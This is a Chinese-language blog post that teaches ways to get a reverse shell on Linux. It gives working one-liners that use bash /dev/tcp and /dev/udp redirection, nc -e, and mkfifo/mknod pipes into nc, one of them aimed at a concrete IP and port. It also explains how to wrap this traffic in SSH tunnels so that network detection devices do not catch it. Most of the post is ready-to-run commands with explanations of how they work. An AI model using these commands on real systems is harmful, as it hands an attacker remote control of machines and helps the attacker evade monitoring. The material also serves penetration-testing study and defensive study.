Watch & Learn

Debugwar Blog

Step in or Step over, this is a problem ...

反弹Shell的一些姿势

2021-05-08 @ UTC+0

纯BASH的方法


下文中的/dev/tcp/ip/port是bash定义的一个虚拟文件,此文件一般不存在于磁盘之上, 详情可以参考bash的man手册. 其具体操作方法是, 首先在控制端执行如下命令:

  1. nc -l -p port  

然后在被控制端执行如下命令:

  1. bash -i >&/dev/tcp/ip/port 2>&1 0>&1  

命令解释:

  • 首先以交互模式(-i参数)启动一个bash
  • 然后将标准输出/标准错误输出/标准输入重定向到/dev/tcp/ip/port机器上

效果如下:


注意: 此种反弹shell方式适用于tcp方式的链接, udp方式不能正常工作.

上面的命令的变种如下:


  1. exec 5<>/dev/tcp/ip/port  
  2. cat <&5 | while read line; do $line 2>&5 >&5; done  

效果如下:


参考这个变种, 我们可以写出udp版本的反弹shell命令:


  1. exec 5<>/dev/udp/ip/port  
  2. echo >&5 && (cat <&5|while read line;do $line >&5 2>&5;done)  

效果如下:

注意: 上面的命令中一开始的echo >&5不可省略. 具体原因如下.

由于UDP是无状态无链接的, 所以在监听端(server端)未收到任何消息的情况下, 并不知道谁会发送过来数据. 在UDP编程中, 常见的写法为:


  1. struct sockaddr_in client_addr;  
  2. while(1){  
  3.     ....  
  4.     recvfrom(fd, buf, BUFF_LEN, 0, (struct sockaddr*)&client_addr, &len);  
  5.     ....  
  6. }  

省略了一些无关变量的声明, 上面最重要的是, recvfrom在接收buf的同时, 会填充一个sockaddr_in解构, 这个结构记录了客户端(也就是被控端)的网络地址信息. 所以, 如果没有一开始的echo >&5, 则该结构不会被填充, 最终的结果就是, 控制端并不知道向谁发送控制指令(id命令).

OK, 继续写变种, 上面的命令等价为:


  1. exec 5<>/dev/udp/ip/port  
  2. echo >&5 && sh 0<&5 1>&5 2>&5  

效果如下:


小结一下, 上面的版本, 理论上全部都支持tcp. Udp版本的只是为了演示UDP而做的.

NC的方法


众所周知的方法:

  1. nc ip port -e /bin/bash  

以上写法tcp only. 效果就不截图了.

在使用nc的时候, 有可能遇到不支持-e参数的nc, 此时可以使用如下方法达到同样的效果. 此技巧需要用到coreutils包中的mkfifo或mknod命令.


  1. mkfifo pipe; cat pipe|bash -i 2>&1|nc ip port > pipe  

这个命令有点绕, 解释一下:

  • 首先, mkfifo这个创建了一个名为pipe的先进先出设备.
  • 然后cat pipe试图读取设备中的数据, 由于现在还没有数据, 所以这条命令会阻塞在这里.
  • 如果pipe中有数据过来了, 那么就用bash执行一下这个命令.
  • 最后, 上一步bash的执行结果, 通过nc发送到ip的port端口, 并将输出结果送回到pipe设备中去.

注意(敲黑板), 绕的地方来了. 上面的最后一步, nc的输出会送到pipe中, 那么nc的输出来自于哪里? 答案是, nc的输出来自于连接的目标ip的输入, 也就是我们想要执行的命令. 

注意(继续敲黑板), 绕的地方之二, 不要以为上面的命令是顺序执行的, 实际上上述指令并行执行.

还有一个额外的知识点, 无论是管道符号|, 还是mkpipe命令, 均用到了Linux的pipefs文件系统. 区别是使用|创建的是匿名管道, 使用mkfifo命令创建的是命名管道, 命名管道允许多个进程或线程同时使用.

基于上面的说明, 我们重新理解一下上面这条命令(这里我假设你理解fork机制):

  • Bash会创建3个管道, mkfifo的命名管道A, cat命令到bash的匿名管道B, 以及bash到nc命令的匿名管道C
  • Cat命令的输入来自于管道A, 输出被重定向到管道B
  • Bash的输入来自于管道B, 输出被重定向到管道C
  • Nc的输入来自于管道C, 输出被重定向到管道A
  • Bash会fork三次, 每个fork出来的子进程会分别执行cat/bash/nc命令, 注意是同时执行
  • 所以, cat命令的输入管道A中由于没有内容, 会阻塞住. Nc命令的输入管道C同样没有内容, 在连接上控制ip之后同样会阻塞.
  • 当我们在控制ip这台机器上输入id命令时, 由于这个输入为nc的输出, 所以id命令会进入nc的输出管道A
  • 再之后就好理解了吧~

明白了上述原理后, 我们很容易写出nc版的udp反弹shell:

  1. mkfifo pipe;cat pipe|bash -i 2>&1|nc -u 172.17.0.1 8000 > pipe  


注意: udp版本bash命令中的-i参数不可省略, 因为-i参数会导致bash有一个输出, 这个输出会的作用等价于上文中的echo命令

执行效果:


除了mkfifo命令, coreutils包还提供了另外一个命令, 也可以创建FIFO类型的管道, 如下:

  1. mknod 文件名 p  

具体可以参考mknod的man手册, 此命令还能创建其他类型的块设备.

使用SSH隐藏反弹shell的流量


有的时候, 网络边界上会部署一些流量检测的设备, 会导致我们的反弹shell被检测到, 从而链接被这些设备直接reset. 这就需要我们将隧道的流量加密来绕过这些设备.

下面介绍利用ssh来打隧道的方法.

正向隧道


所谓正向隧道, 指的是被控端主动发起链接到主控端, 从而达到主控端控制被控端的情形.
首先, 打个隧道先:

  1. ssh -fN -L 本地IP地址:本地端口:远程地址:远程端口 用户名@远程地址  

这条命令会在本地IP地址的本地端口上监听, 所有发送到本地端口的数据, 都会通过ssh隧道转发到远程地址的远程端口上. 

注意: 远程地址需要NC等工具监听到具体端口, 且该端口需要在执行这条命令的时候是打开的状态.

然后使用本文上半部分的任意方式(udp方式除外)即可在主控端的监听端口上得到被控端的shell.
效果截图:


反向隧道


顾名思义, 反向隧道指的是主控端主动发起连接到被控端, 被控端接受主控端控制的情况.
还是打个隧道先:

  1. ssh -fN -R 远程机器的监听地址:远程端口:本地机器的监听地址:本地端口 用户@远程机器地址  


此条命令的意义为:

连接到远程机器地址, 然后在远程机器的监听地址上打开远程端口, 然后发送到远程机器监听地址的远程端口上的数据, 都会被转发到本地机器监听地址的本地端口.

效果如下:

目录
纯BASH的方法
NC的方法
使用SSH隐藏反弹shell的流量
正向隧道
反向隧道

版权所有 (c) 2020 - 2025 Debugwar.com

由 Hacksign 设计